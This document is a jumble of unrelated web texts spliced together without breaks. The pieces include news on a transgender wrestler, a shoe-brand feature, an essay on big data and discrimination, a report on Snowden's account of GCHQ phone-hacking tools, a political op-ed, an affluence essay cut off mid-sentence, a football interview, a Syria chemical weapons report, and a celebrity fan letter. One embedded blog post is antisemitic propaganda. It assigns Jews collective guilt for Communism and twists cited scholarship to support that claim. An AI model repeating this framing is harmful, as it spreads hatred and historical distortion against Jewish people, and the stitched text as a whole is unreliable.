The WFAA-TV reporter didn’t mince words when it came to Mack Beggs, who was thrust into the national spotlight Feb. 25 after winning a state girls’ wrestling title. Though Beggs, 17, identifies as male and takes testosterone as part of the gender confirmation process, he was required by state regulations to compete according to his birth sex.
And Hansen wasn’t having any of it. “Maybe I just hoped that in 2017, we would be done arguing about birth certificates, but obviously we’re not,” he said in the Monday broadcast, which can be viewed above. “Somebody has to find a better answer than what we’re being given now.”
In 2014, Hansen offered similar sentiments on behalf of Michael Sam, the first openly gay man to be drafted by the NFL. “I’m not always comfortable when a man tells me he’s gay; I don’t understand his world, but I do understand that he’s part of mine,” he said at the time.
He doubled down on those remarks once more in his defense of Beggs, noting that “transitioning is a struggle I cannot imagine. It is a journey I could not make.” He said that Beggs “needs our support, and he does not a group of old men in Austin telling him who to wrestle because of a genetic mixup at birth... He’s a child, simply looking for his place in the world and a chance to compete in the world.”
WFAA-TV uploaded the video of Hansen’s remarks to Facebook, where it had received over 647,000 views as of Thursday afternoon.
Montel Williams and Sarah McBride were among the fans who applauded Hansen’s words on Twitter.A whole number of the arguments - false arguments - the Nazis used are still alive with a minority of people. For example in the east the crude equation of Judaism with Communism. So "We're against Communism, we hated what the Communists did, they were all run by Jews you know". I mean it's nonsense at one level but it becomes an easy kind of way in.
Happy International Holocaust Memorial Day everyone! To celebrate this special occasion, Laurence Rees was invited on to Sky News today, where he shared his thoughts about what led to the Holocaust and what leads to antisemitism more generally. Rees is the author of the recently published "The Holocaust: A New History" as well as previous books on related themes. As former director of history programming for the BBC, he oversaw innumerable documentaries about the conservative revolution in Germany ("The Nazis: A Warning from History"). He even set up a website to help correct the thoughts of anyone whose interpretations of WW2 were beginning to stray in improper directions ( link ).When asked why antisemitism still exists, he replies:The refusal of Jews to acknowledge that they bear some measure of guilt for Communism, and the atrocities - including tens of millions of deaths - it gave rise to, is the real Holocaust denial. No hate speech laws criminalise this Holocaust denial. No 87-year-old women are sent to prison for daring to utter it. On the contrary, all the ranks of official historians rally behind this falsehood, even though it makes the history of the 20th century otherwise incomprehensible.To establish the facts let us quote from some academic literature on the subject. Here are some extracts from the book "Dark Times, Dire Decisions: Jews and Communism", edited by Jonathan Frankel, which features essays on the subject of Jews and Communism by various historians, all or almost all of whom appear to be Jewish. Yes, here and there, in obscure places, when they think the goy aren't listening, Jews have acknowledged the truth. Now we need them to acknowledge it publicly.The first is titled "Jews and Communism: The Utopian Temptation" by Dan Diner, THE HEBREW UNIVERSITY, UNIVERSITY OF LEIPZIGBEGIN CITATIONprecisely because it promised an escape from the realities of life within a minority marked off variously by ethnic, religious, and socioeconomic boundaries into a new world where all such boundaries would be eliminated. However,and especially in the upper party echelons, had as one of its results the exacerbation of hostility among broad strata of the population toward both Communism and the Jewish people.Rather than breaking down hostility between nationalities, the conspicuous presence of Jews in the party served to augment traditional anti-Jewish resentment. This was true even though Communists of Jewish origin were never more than an extremely small percentage of the total Jewish population in any given country.... For their part, faced by mounting antisemitic enmity from within large sections of society, Jews in increasing numbers fell back on the Communist movement (when it was out of power and in opposition to right-wing governments) and on the Communist regimes (once they were established). This reaction served to aggravate antisemitism still further.Thus, the potentially catastrophic effects of the identification of Jews with Communism can best be visualized not so much as a circle—a vicious circle—but rather as a spiral driven upward and outward by fear, hatred, and violence. That this would be the case should have come as no surprise. The dangers inherent in the association (real, but still more imagined) of Jews with the Left had become apparent long before the Bolshevik seizure of power in October 1917 and the creation of the Communist regime.For decades, conservative and ultra-right forces in tsarist Russia had accused the Jews (socialists, anarchists, liberals) of spearheading revolution and hence of bringing the pogroms of 1881–1884 and 1903–1906 upon themselves. At the same time, the anger and loathing produced by the discriminatory policies of the regime and, even more, by the hundreds of pogroms, only served to increase the number and commitment of young Jews to the revolutionary cause.This same cycle of actions and reactions had in fact emerged still earlier, albeit on a far lesser scale, in Central Europe during the Vormärz period and the revolutions of 1848. It was then that the "Jewish question" had first emerged as a key subject of political controversy in the German-speaking lands as, indeed, also in France. On the Right, conservatives perceived the demands for Jewish emancipation as an attack on the Christian state and therefore as a major threat to the very foundations of the established order, whereas on the Left, the grant of civil equality to the Jews was seen as an inevitable step toward a constitutional, a democratic, or even a socialist future.... What had heretofore been mere issues of public debate took on far more acute significance during the revolutionary years of 1848–1849.Nonetheless, it was during the years 1918–1920 that the full implications of the association of Jews with the revolution, and specifically with the Communist revolution, first became apparent.Seeking an explanation for this otherwise inexplicable reversal of the hallowed order of things, opponents of the revolution found it in the idea that world Jewry was intent on gaining control of the entire globe. It was now that the Protocols of the Elders of Zion, which exposed, as it were, the inner workings of this vast conspiracy, first became an extraordinary best-seller across Europe.END CITATIONThis extract is from another essay in the same book, titled "Jews and the Communist Movement in Interwar Poland" by Jaff Schatz of INSTITUTE FOR JEWISH CULTURE, LUND.BEGIN CITATIONAs previously suggested, throughout the interwar period, Jews did constitute an important segment of the Communist movement. According to both Polish sources and Western estimates,According to some available data, the level of Jewish members of the Communist movement then dropped to no more than 24 percent for the remainder of the decade. Other data, however, indicate that Jewish membership actually went up in the large cities; in Warsaw, for example, Jewish membership rose from 44 percent in 1930 to more than 65 percent in 1937.Working on the assumption that Polish Jewish Communists constituted between a quarter and a third of the Communist movement during the 1930s, the total of Polish Jewish Communists (including youth group members but excluding political prisoners) ranged between 5,000 and 8,400. If prisoners are included, the numbers range between 6,200 and 10,000.In addition, Jews comprised the overwhelming majority of one of the legal front organizations, the Polish-based International Organization for Help to the Revolutionaries (Międzynarodowa Organizacja Pomocy Rewolucjonistom "MOPR"), which collected money for and channeled assistance to imprisoned Communists.END CITATIONSimilar data could be provided for many other countries. For the sake of not making this post unduly long, I'll leave it there. Perhaps I'll turn this post into a series. It is utterly shameful that these facts of history continue to be denied and that, in many countries, any non-Jew who dares to draw attention to them risks being prosecuted for "hate speech".Long the preserve of fusty country gents, the venerable British footwear brand Grenson has enjoyed a renaissance in the hands of the designer Tim Little; its sturdy handmade shoes and boots are now prized by footwear fetishists from Hackney to Tokyo. This year, the label is celebrating its 150th birthday — in understated British fashion. It has re-editioned eight styles from the last century, including an awkward-looking orthopedic Oxford from the 1930s named the “Grenson Joy Step” and a 1940s infantryman’s boot.
To mark the anniversary, Little invited the British photographer Martin Parr — famed for his unflinching depiction of his compatriots at work and play — to turn his lens on the company and its work force. “We mustn’t get dragged down by sentimental ideas of heritage,” Little says. “Heritage is about people and the skills they have, not brick walls.” Accordingly, when he bought Grenson in 2010 following five years as creative director, one of his first moves was to shift the company out of its original redbrick Victorian factory. Though picturesque, after decades of neglect it was so drafty the bootmakers worked wearing overcoats and fingerless gloves. Shoes in progress had to be sheltered under tarps when the roof leaked — frequently.
“When William Green built the first factory in 1866, it was state-of-the-art; he saw himself as a modern businessman,” says Little, from his perch overlooking the now warm and leak-free factory floor in Northamptonshire, the traditional heartland of British footwear. Despite its contemporary shell, the workshop depicted in Parr’s photographs is still stocked with traditional cordwainer’s machinery and ancient wooden storage units from the old site, offset by personal touches: meerkat calendars and posters of Jon Bon Jovi.
In 2005, a descendant of the Green family asked Little if he’d consider taking over the running of Grenson. Unlike Little, whose career was on the upswing — he’d started an eponymous, thriving label eight years prior — the company had descended to a sorry state since its glory days making military boots during World War II. By then, it was producing lackluster footwear for yellowing, end-of-row stores in small market towns. “After two weeks, I knew it was going to be a nightmare; everything needed a complete overhaul,” Little says. “What we had was a factory with amazing skills and a brand with heritage and back story, but that was about it — we had to build from the bottom up.”Data doesn’t invade people’s lives. Lack of control over how it’s used does.
What’s really driving so-called big data isn’t the volume of information. It turns out big data doesn’t have to be all that big. Rather, it’s about a reconsideration of the fundamental economics of analyzing data.
For decades, there’s been a fundamental tension between three attributes of databases. You can have the data fast; you can have it big; or you can have it varied. The catch is, you can’t have all three at once.
I’d first heard this as the “three V’s of data”: Volume, Variety, and Velocity. Traditionally, getting two was easy but getting three was very, very, very expensive.
The advent of clouds, platforms like Hadoop, and the inexorable march of Moore’s Law means that now, analyzing data is trivially inexpensive. And when things become so cheap that they’re practically free, big changes happen — just look at the advent of steam power, or the copying of digital music, or the rise of home printing. Abundance replaces scarcity, and we invent new business models.
In the old, data-is-scarce model, companies had to decide what to collect first, and then collect it. A traditional enterprise data warehouse might have tracked sales of widgets by color, region, and size. This act of deciding what to store and how to store it is called designing the schema, and in many ways, it’s the moment where someone decides what the data is about. It’s the instant of context.
That needs repeating:
You decide what data is about the moment you define its schema.
With the new, data-is-abundant model, we collect first and ask questions later. The schema comes after the collection. Indeed, big data success stories like Splunk, Palantir, and others are prized because of their ability to make sense of content well after it’s been collected — sometimes called a schema-less query. This means we collect information long before we decide what it’s for.
And this is a dangerous thing.
When bank managers tried to restrict loans to residents of certain areas (known as redlining) Congress stepped in to stop it (with the Fair Housing Act of 1968). They were able to legislate against discrimination, making it illegal to change loan policy based on someone’s race.
Home Owners’ Loan Corporation map showing redlining of “hazardous” districts in 1936.
“Personalization” is another word for discrimination. We’re not discriminating if we tailor things to you based on what we know about you — right? That’s just better service.
In one case, American Express used purchase history to adjust credit limits based on where a customer shopped, despite his excellent credit limit:
Johnson says his jaw dropped when he read one of the reasons American Express gave for lowering his credit limit: “Other customers who have used their card at establishments where you recently shopped have a poor repayment history with American Express.”
We’re seeing the start of this slippery slope everywhere from tailored credit-card limits like this one to car insurance based on driver profiles. In this regard, big data is a civil rights issue, but it’s one that society in general is ill-equipped to deal with.
We’re great at using taste to predict things about people. OKcupid’s 2010 blog post “The Real Stuff White People Like” showed just how easily we can use information to guess at race. It’s a real eye-opener (and the guys who wrote it didn’t include everything they learned — some of it was a bit too controversial). They simply looked at the words one group used which others didn’t often use. The result was a list of “trigger” words for a particular race or gender.
Now run this backwards. If I know you like these things, or see you mention them in blog posts, on Facebook, or in tweets, then there’s a good chance I know your gender and your race, and maybe even your religion and your sexual orientation. And that I can personalize my marketing efforts towards you.
That makes it a civil rights issue.
If I collect information on the music you listen to, you might assume I will use that data in order to suggest new songs, or share it with your friends. But instead, I could use it to guess at your racial background. And then I could use that data to deny you a loan.
Want another example? Check out Private Data In Public Ways, something I wrote a few months ago after seeing a talk at Big Data London, which discusses how publicly available last name information can be used to generate racial boundary maps:
Screen from the Mapping London project.
This TED talk by Malte Spitz does a great job of explaining the challenges of tracking citizens today, and he speculates about whether the Berlin Wall would ever have come down if the Stasi had access to phone records in the way today’s governments do.
So how do we regulate the way data is used?
The only way to deal with this properly is to somehow link what the data is with how it can be used. I might, for example, say that my musical tastes should be used for song recommendation, but not for banking decisions.
Tying data to permissions can be done through encryption, which is slow, riddled with DRM, burdensome, hard to implement, and bad for innovation. Or it can be done through legislation, which has about as much chance of success as regulating spam: it feels great, but it’s damned hard to enforce.
There are brilliant examples of how a quantified society can improve the way we live, love, work, and play. Big data helps detect disease outbreaks, improve how students learn, reveal political partisanship, and save hundreds of millions of dollars for commuters — to pick just four examples. These are benefits we simply can’t ignore as we try to survive on a planet bursting with people and shaken by climate and energy crises.
But governments need to balance reliance on data with checks and balances about how this reliance erodes privacy and creates civil and moral issues we haven’t thought through. It’s something that most of the electorate isn’t thinking about, and yet it affects every purchase they make.
This should be fun.
This post originally appeared on Solve for Interesting. This version has been lightly edited.
Related:American and British spy agencies have been aggressively developing tools to hack smartphones, government whistleblower Edward Snowden told BBC’s “Panorama” in an interview aired Monday night.
But intelligence officials aren’t necessarily interested in monitoring private communications on the phone. They want to use the device to take photos or eavesdrop.
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"They want to own your phone instead of you,” Snowden insisted.
And smartphone owners have “very little” they can do to stop these officials from cracking their device.
For the Government Communications Headquarters (GCHQ), the British digital spy agency, all it takes is a well-placed encrypted text message to get into the smartphone it wants to manipulate. The message is even invisible to the user, making it extraordinarily difficult to not succumb to the hack.
GCHQ has dubbed these capabilities the “Smurf Suite,” named after the Belgian cartoon characters that live in mushroom-shaped houses.
“Dreamy Smurf is the power management tool which means turning your phone on and off with you knowing," Snowden said.
"Nosey Smurf is the 'hot mic' tool,” he continued. “For example if it's in your pocket, [GCHQ] can turn the microphone on and listen to everything that's going on around you — even if your phone is switched off because they've got the other tools for turning it on.”
"Tracker Smurf is a geo-location tool which allows [GCHQ] to follow you with a greater precision than you would get from the typical triangulation of cellphone towers."
Another tool, Paranoid Smurf, is actually a defensive mechanism, Snowden explained. It’s designed to make the other tools undetectable.
“If you wanted to take the phone in to get it serviced because you saw something strange going on or you suspected something was wrong, it makes it much more difficult for any technician to realise that anything's gone amiss,” Snowden said.
While the tactics described were mostly GCHQ jargon, Snowden described the agency as “to all intents and purposes a subsidiary of the NSA [National Security Agency].”
“[The NSA] provide technology, they provide tasking and direction as to what [GCHQ] should go after.”
The NSA has also spent nearly $1 billion on a similar program, Snowden said.
The two agencies have focused on these efforts as criminals and terrorists increasingly use smartphones to plan and execute crimes.
“They say, and in many cases this is true, that they're not going to read your email, for example, but they can and if they did you would never know," Snowden added.It’s time for a dramatic intervention laying out a few concrete policies Democrats would pass within their first 100 days in power. (Photo by Erik Freeland/Corbis via Getty Images)
Republicans are in power because they had a plan. The Left needs one, too.
"There is power in giving voters a specific set of deliverables."
It’s time to put a plan together, Democrats. Put it in front of the American people and bring it up so often that the media can’t believe you’re bringing that up again. When Donald Trump tweets about it, thank him for his input and refer people back to your plan. Again and again. There’s a model for this. It worked once but hasn’t been tried since.
1993. Bill Clinton had just been elected, and he made universal health insurance his highest priority. With solid majorities in both chambers—258 House seats, and 56 Senate seats—Democrats should have prevailed. They worked on the legislation for months, but different factions in the party had their own ideas about how to balance the private and public sectors. The leader of the Senate, George Mitchell, announced in August 1994 that work on health care reform would have to wait until after the fall election.
In the meantime, Republicans put together a plan. They got groups like the American Medical Association on board, opposing Clinton’s proposal. And then, six weeks before the election, Republican leaders in Congress created the Contract with America, an eight-point statement of Congressional reforms that they would vote on immediately. There were also 10 policy proposals that they promised to take a vote on within the first 100 days of taking office.
Did it work? The GOP picked up 54 seats in the House and took control of that chamber for the first time since 1952. The party also picked up eight seats in the Senate, giving it 52 seats there and control of both chambers. Most of the specific ideas in the contract either died in the Senate or were vetoed by Clinton. But the Democratic wipeout in Congress killed health care reform for nearly 15 years. And one proposal in the contract, the Personal Responsibility Act, became the foundation for the infamous welfare-reform bill that Clinton signed in 1996.
The contract, in other words, helped reverse the Democratic momentum coming out of 1992, blocked Clinton’s agenda and put the GOP’s priorities front and center in U.S. politics until Barack Obama’s election.
Keep it simple
So what should the Democratic plan be now?
Call it the Contract with American Workers and keep it simple—a few key policies that have broad public support and will measurably improve the lives of working- and middle-class people. It won’t require anything more than condensing parts of the 2016 Democratic Party platform.
Here’s a start: A $15 minimum wage. Universal healthcare. An expanded and strengthened Social Security program. Free community college. A reformed campaign-finance system to reduce the power of corporations and other special interests in Congress. Paid medical and family leave of at least 12 weeks. Massive investment in child care to make it accessible and affordable. How to pay for all this? Sharply progressive taxes on people earning more than $250,000 per year would suffice—but there’s no need to get into that kind of detail. The GOP never does, and never pays for it.
Yes, there are a range of other urgent priorities that Democrats need to address and defend, from reproductive and LGBT rights to racial justice and climate change. Those can't be neglected.
But there is power in giving voters a specific set of deliverables. Think about the dozens of proposals that Hillary Clinton posted to her website and talked about in her speeches, versus Trump’s nearly substance-less campaign. Yet voters knew exactly what he planned to do: build a wall, back out of climate change and trade agreements, cut taxes and kill Obamacare. That wasn’t all he intended to do, clearly. But it was a plan. It was never quite clear to voters that Clinton, for all her policy statements, actually had one. Imagine how different things would be right now if she and the Democratic leadership had collaborated on an agenda a year ago—a plan for the first 100 days—and hammered it home the way Trump talked about his wall.
Force the issue
In the debate over health care in the early 1990s, the Contract with America wasn’t the only tool the GOP used to defeat Clinton’s plan. Republicans had a fiercely unified opposition, forged from the sense that their survival was at stake. In a policy memo, the influential GOP pundit William Kristol once wrote that allowing health care reform to pass would “revive the reputation of … Democrats as the generous protector of middle-class interests. And it will at the same time strike a punishing blow against Republican claims to defend the middle class by restraining government.”
Democrats never really recovered from that defeat, or from Clinton’s self-inflicted wounds, especially his collaboration on NAFTA. Trump used that trade deal to position himself as the champion of working and middle-class interests in the recent election. And that sleight of hand is the rule: Democrats support policies that would actually benefit middle- and working-class people. Republicans use tax cuts, nativism and racism to claim the populist mantle.
It’s time for a dramatic intervention laying out a few concrete policies Democrats would pass within their first 100 days in power. Trump would veto most or all of them, sure. Make him defend a veto of universal health care and free community college. Promise to bring them up again. And again. Force the issue. Republicans have voted to repeal Obamacare more than 60 times, by some counts, since 2009. And how did that work? They killed Clinton’s health care plan. Now they’ll gut Obama’s.
Republicans are in the minority, public-opinion wise. Their policies are immoral. And yet they hold the reins of power because they had a plan. For the love of God, Democrats. It’s time to fight fire with fire.You may start the day with good intentions in your heart and one of those simplicity magazines by your side. You may tell yourself that today you are going to renounce material things. You're going to slow down and savor the moment. So you break out the seaside-scent candles, fill up the claw-foot tub with fluoridated water and tub tea, and just soak with a volume of Robert Frost in your hand and some brown-sugar-based body wash on the shelf. But then the bathroom renovation fantasies start crowding into your brain and along come the second-home longings. To really clear your mind, you realize, you need a country place in the Berkshires where you can get away from it all, and just a couple more big financial scores so you can carry that soul-saving second mortgage. And before long you are back in the land of desire. You've been sucked in by the alluring availability of increased earnings and the narcotic of potential capital gains. You have returned to the realm of buying and selling and earning and investing. And the sheer wealthiness of American life has swallowed you back up.
There are now around seven million households in the U.S. with a net worth of more than a million dollars. But the affluence of the upper class isn't even the amazing thing. It's the affluence of middle-class life. The average new American home has grown from 1,500 square feet to about 2,200 square feet in a single generation. The average American family spends more than $2,000 a year on food from restaurants. According to Cotton Incorporated's magazine, Lifestyle Monitor, American women between the ages of 16 and 70 have, on average, seven pairs of jeans in their wardrobes. Nearly three-quarters of the new cars bought by Americans have cruise control and power door locks, and there will soon be more cars in this country than people. Americans altogether spend $40 billion a year on our lawns, an amount roughly equal to the entire federal tax revenue of India.
This is a country where nobody bats an eye at teenagers with credit cards, administrative assistants going off to Lasik eye surgery or middle-class dog lovers taking their pooches to one of the nation's 600 certified pet chiropractors. With 6 percent of the world's population, the U.S. accounts for more than 30 percent of its total economic production. We're big earners. We're big spenders. We're huge borrowers. Risking sin and perdition, we're rich.
We all know what should happen next. The Roman Empire illustrated the life cycle of great nations. As the historian John Anthony Froude put it, ''Virtue and truth produced strength, strength dominion, dominion riches, riches luxury, and luxury weakness and collapse.'' It's as inevitable as death. Nations grow to adulthood by virtue of their simplicity and fall to decay because they grow spoiled by comfort and ease.
It's what America's founders worried about 200 years ago. ''Will you tell me how to prevent riches from becoming the effects of temperance and industry?'' Adams asked Jefferson. ''Will you tell me how to prevent luxury from producing effeminacy, intoxication, extravagance and folly?'' It's what social critics worry about today, with books like ''Luxury Fever,'' ''The Overspent American'' and so on and so on.
And yet, somehow, America has this amazing ability to not decline. America's history doesn't follow the normal life cycle of nations. American standards of living actually surpassed European standards of living around 1740. For about 260 years, in other words, America has been rich. And yet decline hasn't come; Gibbon would have nothing to write about here. American workers are still the most productive on earth, two-thirds more productive than our counterparts in Great Britain, for example. American technology is still the envy of the world, and her universities are the queens of learning. Three-quarters of the Nobel laureates in economics and the sciences over the past few decades live and work in the United States. Spending more on defense than the next 15 nations combined (while still devoting only around 3 percent of the G.D.P. to the military), America is now the undisputed great power of the globe. And as the Yale historian Paul Kennedy wrote recently in The Financial Times, never before in human history has the disparity between the world's greatest power and the next greatest power been so wide.
Moreover, despite all the social-critic jeremiads, Americans have shown this remarkable tendency to remain undecadent. Look, for example, at how we spend our money. Michael J. Weiss summarized the latest Consumer Expenditure Survey in the April issue of American Demographics. He reports that during the 1990's, which was the great fizzy decade of splendiferous stock-market returns and walloping prosperity, Americans spent less on just about every item on the Hugh Hefner/Larry Flynt/Maxim magazine/Robb Report repertory. Americans in 2000 spent less than they did 10 years earlier on steaks, martinis, cigars, jewelry, watches, furniture, toys and sound equipment. They spent less on entertainment and more on education, housing, transportation and computers. Americans spent 10 percent less on food in general (though baby boomers spent 15 percent more on fresh vegetables). Americans spent 14 percent less on clothing, the largest decline in any category, though they did spend 12 percent more on shoes.
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Overall, this is not a picture of a nation of orgiastic self-indulgence. Furthermore, despite all of our earnest resolutions, Americans are still terrible at languorous ease. We can't take a vacation for a week without bringing our laptops along, let alone laze away at health spas for weeks on end slicing sausages, the way the Germans do. American beaches still aren't Rio-style thong expos, nor are they southern European nudist zones, where 70-year-old women who grew up with corsets and propriety suddenly get the urge in advanced retirement to throw off the vestments of civilization and let the vein patterns protrude in the breeze. Despite leadership from the top, we haven't really learned to relax about adultery, and serious sex surveys do not depict a nation of serious kinkiness and sensuality. Picture a typical American man going on the Internet looking for some pornography. In a few minutes he can't help himself: he |
has the brain to do it, and then you just make the pick and convert him."
There weren't enough good offensive linemen to draft. Haha. Honesty.
On Smith, specifically:
"Yeah, you know first of all, I've done this a couple times before with guys in college, so doing it at this level, there's some experience (for me) at doing it. He answered the question the same way that J.R. did: That is, 'what do you think about moving to offensive line after being a defensive lineman your whole career?' and he said 'I don't care what I do, I just want to play.' And, that's where you start. If they're open to it that way, then you've got a chance. Then, you figure out if he's got a skill set athletically, mentally, and he's certainly a tough kid. So, it's another project, and we'll try it again."
As for Seymour, what did Cable see in the Vanderbilt offensive lineman?:
"The fact that he has played everywhere on the line, and just that he has the ability to be so versatile. He's played both tackles, he's played both guards, he's snapped the football, both under center and in shotgun. I think he's a valuable guy in that he's done so much - now let's see if he can add here (adhere?) to what we do."
With Seattle not adding any major names on the offensive line, Cable essentially noted that there will be a very high-level competition at right guard between John Moffitt and J.R. Sweezy (plus Seymour - and he didn't mention Rishaw Johnson but I think he could be there too), there will be a strong competition at left guard between James Carpenter and Paul McQuistan, and he said that Michael Bowie will compete with Breno Giacomini at right tackle. For what it's worth, I think that Alvin Bailey will be in the mix at both guard and tackle. This is a good, solid unit - and odds are they're going to be having to drop one or two quality players when it's said and done.
Regardless, things on the line in 2013 will likely be somewhat similar, if not hopefully more continuous. When asked if he is hoping for a big jump from 2012 to 2013, Cable responded;
"Well, the young guys for certain. You know, as a group, we probably made the big stride last year. When you finish third in rushing and you take off 17 sacks from the year before, you convert in critical situations at a higher percentage, they're doing something right. So this year, we're going to see if we can accomplish all those and then some."
So - development and depth. Improve as a unit.
With Percy Harvin added to the equation, can you devise crazy new stuff with the new players you've acquired, or is it all run-first offense still?
Cable: "I think so, I think so. But at the end of the day though, if we're going to win a championship, it's going to come our way by pounding people. We'll always run the football."
God I love that.
"The thing that's exciting though is that we have these weapons now to score points with. I'm just excited with the growth of Russell, getting Percy on board, with Sidney, and Zach Miller, and Marshawn in the backfield, and Golden Tate, and Doug Baldwin. You start thinking: 'to win in this league, you have to score points, and to do that you have to throw the ball, but to close people out and be really good you gotta run it. So, I hope we're headed toward the right kind of balance, if you will."
----------------------
More from Cable:
ON SWEEZY:
"Two things: One, I asked him - 'how much are you different now, from you to me, how much are you different now from when you started?' - and just kind of hear him out, to hear where he's at. And then I sat down and made a cutup of every error he made last year that was related to inexperience, and that's kind of been his offseason program. He's done a great job with it, you know, very diligent, and as of today, he's miles away of where he was at the end of the season, so good things ahead.
When a defensive line would stem or move on him, - so he went from covered to uncovered or visa versa right before the snap - with experience, your rules would just kick right in, and they're not set in stone for him quite yet, or at least they weren't during the season. So, if they moved, and gave him a different picture, you know, just a couple seconds before the snap, he might have some trouble. And, as the season went on, he got better. So, I'd say that that's the biggest issue. Physically? Not an issue for him, this guy's a real stud."
ON RIGHT GUARD:
"We don't really have any starters; I know that the media or fans would look at it and say 'this guy's the starter' - we don't look at it that way. We've got a couple of guys - a few guys - lining up at right guard and they're all going to compete. And, we'll just kind of let it get settled in camp and through the pre-season."
ON BRENO GIACOMINI:
"People right now have a sour taste because in the first six games he's got nine penalties, and he doesn't really have his emotions under control - you kind of want him there on the edge but maybe not over the edge - but the second half of the season, he had two penalties, so people need to get over that. That's important to know. This guy - our mindset, how we play the game as a team - I would say you put him right at the front of that in terms of competing, and tough, and finish, and he's a guy that we know has some limitations athletically, but you get everything he's got and then a little bit more, and that's like gold."
ON JOHN MOFFITT:
(What do you need to see out of Moffitt this year?): "Consistency. That's how you make this team, one, and that's how you become a backup that gets put in the game and ultimately a starter, because as you mentioned earlier, we have a bunch of nice players. You know, we like our team, but it's going to come down to consistency. And, if you start to fail and you start to be up and down, you'll find yourself either on the bench or not on this football team pretty quick."
ON JAMES CARPENTER:
"He's a left guard. That's what he is. When we drafted him, our greatest need was at right tackle, so it was a great way to bring him in as a rookie and get him started and learning the game, but unfortunately he got hurt. He's doing well now, he's back on his feet; he's not 100% but I'd guess he's somewhere close. So, we'll take care of this thing through spring football here and get him ready for camp, and I'm pretty excited about James and his return, and what he can bring to us."
LISTEN IN.The U.S. expressed concern on Thursday that the Syrian government may still have chemical weapons, violating its agreement with the international community last September.
Following a meeting at the U.N. Security Council, U.S. envoy Samantha Power told reporters that doubts about existing “discrepancies and omissions in Syria’s original declaration” on its chemical arsenal have yet to be cleared up.
“I want to stress that much more work still needs to be done on Syria’s chemical-weapons program,” Power told reporters. “We must ensure that the Syrian government destroys its remaining facilities for producing chemical weapons within the mandated time frames and without the repeated delays by the Assad regime that plagued earlier removal efforts.”
Power also expressed fears that the myriad rebel groups in Syria could potentially get their hands on chemical weapons, and chided President Bashar Assad’s regime for its apparently continued use of chlorine gas against insurgents.
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“It is still our belief that the Assad regime — its brutality, the barrel-bomb attacks, the possible chlorine use now, the previous chemical-weapons attacks — these are recruiting tools that extremists have used to attract foreign terrorist fighters to Syria,” she said.
Power’s statement came after Sigrid Kaag, the special coordinator on the joint mission to eliminate Syria’s declared chemical-weapons program, briefed the Security Council.
According to Kaag, all of Syria’s primary chemical weapons have been destroyed. However, 12 weapons-production facilities have yet to be decommissioned. She also agreed that long-standing questions remain over Damascus’ original declaration.
“There are still some discrepancies or questions that are being asked,” Kaag told reporters. “It’s a discussion that’s continuing in Damascus as well as the Hague.”
The U.N.’s joint mission to destroy Syria’s chemical weapons wrapped up earlier this summer — more than year after the Assad regime fired sarin nerve gas into a rebel-held enclave in the suburbs of Damascus, killing hundreds of people.
The Syrian government was able to stave off retaliatory U.S. air strikes by agreeing to a Moscow-brokered plan to surrender the nation’s chemical arsenal to international authorities.
Contact us at editors@time.com.This is awkward.
I mean, I don’t even think this is appropriate. But I got here, so let’s just see how this goes.
From a guy to another, Alden, let me just start off with this: I know how you operate. In some way or another, all men are practically the same. We guard our feelings well. We use ambivalence and show disinterest even though we really like our girl. This is our defense mechanism. Back in our minds we know we must have a fall back position in the unfortunate eventuality that it does not work out too well. And the way we do that is to make it appear that we were not really that interested in the first place. Yeah, let’s be honest, even for just this once.
Some girls might find this a little bit sexist- I apologize and please understand that this is not my intention. This is what happens when we are too sincere- people sometimes get hurt. Nonetheless, let me elaborate on what I was going for.
Men usually use the same approaches when it comes to courtship. The most common of which is the giving of gifts. We don’t really know if girls fall for it, we know there are some that get offended, but most often than not, they do their job well. We can’t help it. I even dare say it is a human instinct, on the part of a man at least, to catch the attention of women by giving gifts. These gifts may cost a lot of money or they may not cost anything at all, but a gift is a gift is a gift. Believe me, men throughout history did some pretty grave things just to accomplish this. I remember I had to save up two weeks worth of my school allowance just so I can buy a gift for the girl that caught my affection. Did she actually like it? I don’t know. But I was proud of myself for being able to sacrifice hungry days just to get my girl something that she can remember me by.
Now back to what I was driving at.
This was the same approach you used, Alden. I saw what you did there. You started showering Maine with flowers, chocolates, teddy bears, food and whatnot. Oh, I know, your good looks alone can get you any girl that you want, but as men are as men will be- you chose to work it.
And the effect was undeniable. The look on Maine’s face, her demeanor, whenever she gets surprise gifts from you, is very revealing. Or her act is too good, well maybe. But anybody can see, there is something in her smile, in the sparkle of her eyes that says she appreciates the thoughtfulness. The more you press your charm the more she responds- like a child giggling every time she beholds her very first crush.
You have ensnared her. You were right there, Alden. You had her from the get-go. This was all too easy.
Until you got tested.
In one episode, Lola Nidora asked if you were already serious about your feelings, not with Yaya Dub, but with Maine. You hid behind your pillow and avoided a straight answer. (Edited: Credit to Kathleen)
Everybody gasped! That was a total letdown! That hurt like hell, man!
You messed up. BIG TIME.
I’m sure you saw the look on Maine’s face in the background, the disappointment was very apparent. I could have sworn she was secretly hoping that you would say, or at least “ACT” in the affirmative. That would have sealed the romance. But no, you chose to be playful about it.
Later that day, Maine took to twitter and said everybody should be calm and you two were just out there to make the fans happy, which you reiterated on your own twitter post. That same night, Maine posted a “sigh”.
Maybe I was a bit over dramatic. Maybe I just read into it a little bit deeper than I probably should have. That sigh could mean a million different things. Why I chose to relate that post with what happened earlier in the day, I don’t know. I just did.
But the following days Maine began to drift away. I sensed it. We all sensed it. I know that you sensed it. She was not the same. She regressed to the Yaya Dub character that the audience began to feel it, the acts became a bit humdrum, monotonous. The spark is no longer there.
But I give you credit you are one hell of a charmer! You started opening up and enamored her back where you want her to be. You begin to let your guard down and people started reading into you. You showed sincerity like you never did before. Maybe you realized this was something that can work out? I’m not sure. But you are that good, man.
The most apparent show of your real emotions happened during your first meeting. The spark between the two of you was unquestionable. Epic. The whole fandom was ecstatic, thrilled, and very thankful to have witnessed something that is quite possibly as real and as fascinating as the first ray of sunshine in the morning.
Maine later said, “It was nice seeing you…. so nice. I am very glad.” That was as honest an impression as it can be. I was captivated by the fact that she said a very simple phrase but dang! That hit the right spot! To which you responded quite casually, “Nice seeing you too, sayang hindi man lang ako naka shake hands sayo.” I was like, really? That’s it? That was your reply? You can do better than that! Oh well, maybe it was just me and my penchant for words that are overly melodramatic.
After that moment you came out a different man. We can sense the change in you. I can sense the change in you. Funny how well men can relate with other men- the more you wanted to hide your real feelings, the more they became very ostensive. You now wear your heart out on your sleeve. The second meeting proved that point, you were overcome with the moment and you bared your soul. We saw a different person in you, Alden- we saw Richard Reyes Faulkerson, Jr.
